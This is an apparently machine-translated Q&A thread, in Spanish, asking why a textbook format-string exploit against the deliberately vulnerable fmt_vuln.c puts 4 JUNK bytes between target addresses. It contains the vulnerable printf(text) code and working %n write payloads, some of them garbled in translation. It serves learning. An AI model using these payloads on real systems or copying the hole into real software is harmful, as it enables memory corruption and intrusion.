¿Por qué la vulnerabilidad de printf () requiere 4 bytes de datos no deseados? - “Hacking: El Arte de la Explotación”

7

He estado leyendo "Hacking: El arte de la explotación, 2ª edición". y llegué a una parte que no está suficientemente explicada para mí.

En la sección "Escribiendo en una dirección arbitraria", Jon Erickson crea un programa pequeño y vulnerable (llamado fmt_vuln) que pasa parámetros de formato (como% x) como el primer argumento para printf. Al hacerlo, se iniciará la lectura de impresión desde la parte superior del marco de la pila. Luego utiliza esta vulnerabilidad para escribir en la dirección arbitraria 0x08049794.

El código objetivo ( fmt_vuln.c ) es el programa objetivo.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc < 2) {
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
 }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");

  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

  exit(0);
}

Usando esta vulnerabilidad, estoy tratando de escribir un valor "0xDDCCBBAA" en la dirección de test_val . La salida del programa muestra que test_val se encuentra en 0x08049794.

El exploit se ve así:

./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

Esto escribe el valor hexadecimal 0xAA en la dirección 0x08049794.

4 escribe en direcciones secuenciales, comenzando en 0x08049794, y agregando 1 byte cada vez debería lograr esto. La primera vez que escribimos 0xAA, luego la segunda vez que escribimos 0xBB a 0x08049795, la tercera vez que escribimos 0xCC a 0x08049796, y la última vez que escribimos 0xDD a 0x08049797.

El libro utiliza la vulnerabilidad como esta:

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $

Mi pregunta es:

¿Por qué necesito los 4 bytes de datos no deseados entre las direcciones? El autor usa la palabra "JUNK" porque es una cadena de 4 bytes arbitraria, pero podría tener una longitud de 4 bytes. Pero nunca explica por qué se requieren esos 4 bytes de datos JUNK. Solo dice "Se necesitan otros argumentos para que otro parámetro de formato% x incremente la cuenta de bytes a 187, que es 0xBB en decimal".

    
pregunta jairbow 01.07.2014 - 21:45
fuente

3 respuestas

1

Cada parámetro de formato actúa en cada byte secuencial. No puede usar% x para leer y agregar espacios a uno de los bytes que contienen una dirección en la que desea escribir, porque entonces% n se aplica al siguiente byte.

En otras palabras,% x se usa para leer Y agregar los espacios. Una vez que se hayan agregado los espacios, es hora de escribir ese valor en la dirección que ha proporcionado, con% n. Así que el% x tiene que hacerse antes de% n. % X actúa sobre una de las palabras de 4 bytes, por lo que el autor creó una palabra de 4 bytes para que% x cree espacios, y luego la siguiente palabra de 4 bytes es la dirección de la memoria, que es lo que% n escribe a.

Espero que esto se aclare para los novatos como yo, en el futuro.

    
respondido por el jairbow 04.07.2014 - 07:08
fuente
4

Supongo que depende y varía según el compilador y el sistema en el que se esté ejecutando.

Por ejemplo, lo que funcionó para mí en el código de prueba que proporcionó es: (en una máquina ubuntu de 32 bits)

  

\ x30 \ xa0 \ x04 \ x08 \ x31 \ xa0 \ x04 \ x08 \ x32 \ xa0 \ x04 \ x08 \ x33 \ xa0 \ x04 \ x08% 154x% 4 $ n% 17x% 5x% 5x% 6 $ n% 17x% 7 $ n

los primeros 16 bytes son las direcciones a las que quiero inyectar: 0x0804a030, 0x0804a031, 0x0804a032, 0x0804a033 - ya que la dirección de test_val en mi caso es 0x0804a030.

Luego, el% 154x le dice a printf que rellene la salida con 154 caracteres. Ya que se imprimieron 16 caracteres hasta ahora 154 + 16 = 170 = 0xAA

Luego% 4 $ n le dice a printf que escriba el valor en la dirección en el cuarto parámetro que se pasó a printf. Este valor se encuentra por prueba y error para ubicarse en el desplazamiento en la pila donde se encuentra su entrada y hacer que Printf lo use como la dirección de destino. Puede inyectar AAAA% p% p% p ...% p para encontrar dónde se encuentra el valor 41414141 y luego conocer su desviación. en mi caso era 4.

El resto solo agrega 17 = 0x11 caracteres para incrementar el valor inyectado al valor deseado y hacer que printf lo escriba en el siguiente puntero, en mi caso 5, 6 y 7

Supongo que la razón por la que el autor necesitaba 4 bytes adicionales en su caso era la forma en que el compilador manejaba los parámetros de la pila en su caso. Tal vez se suponía que estaban separados por 4 bytes y, por lo tanto, no podía inyectar las direcciones sin rellenarlas con 4 bytes en el medio.

Si hubiera inyectado la cadena con los 4 bytes JUNK, tuve que agregar mi entrada para:

  

\ x30 \ xa0 \ x04 \ x08JUNK \ x31 \ xa0 \ x04 \ x08JUNK \ x32 \ xa0 \ x04 \ x08JUNK \ x33 \ xa0 \ x04 \ x08% 142x% 4 n% 17x% 6% n% 17x% 8 $ n% 17x% 10 $ n

cambiando los punteros de destino a 4, 6, 8, 10 ya que en 5, 7 y 9 se encontraron los bytes JUNK.

Aquí hay un enlace a una excelente publicación de blog sobre el tema: enlace

    
respondido por el aviv 03.07.2014 - 10:29
fuente
2

Están allí para que se imprima %17x . Los primeros cuatro bytes ( \x94\x97\x04\x08 ) actúan como dirección %n , los siguientes cuatro ( JUNK ) se formatean mediante %17x , los siguientes cuatro ( \x95\x97\x04\x08 ) actúan como el segundo %n , etc.

Podrías prescindir de ellos, por ejemplo. con algo como

\x94\x97\x04\x08\x95\x97\x04\x08\x96\x97\x04\x08\x97\x97\x04\x08%x%x%126x%n%n%n%n

para escribir el valor 0xAAAAAAAA en test_val

    
respondido por el guest 01.07.2014 - 22:22
fuente

Lea otras preguntas en las etiquetas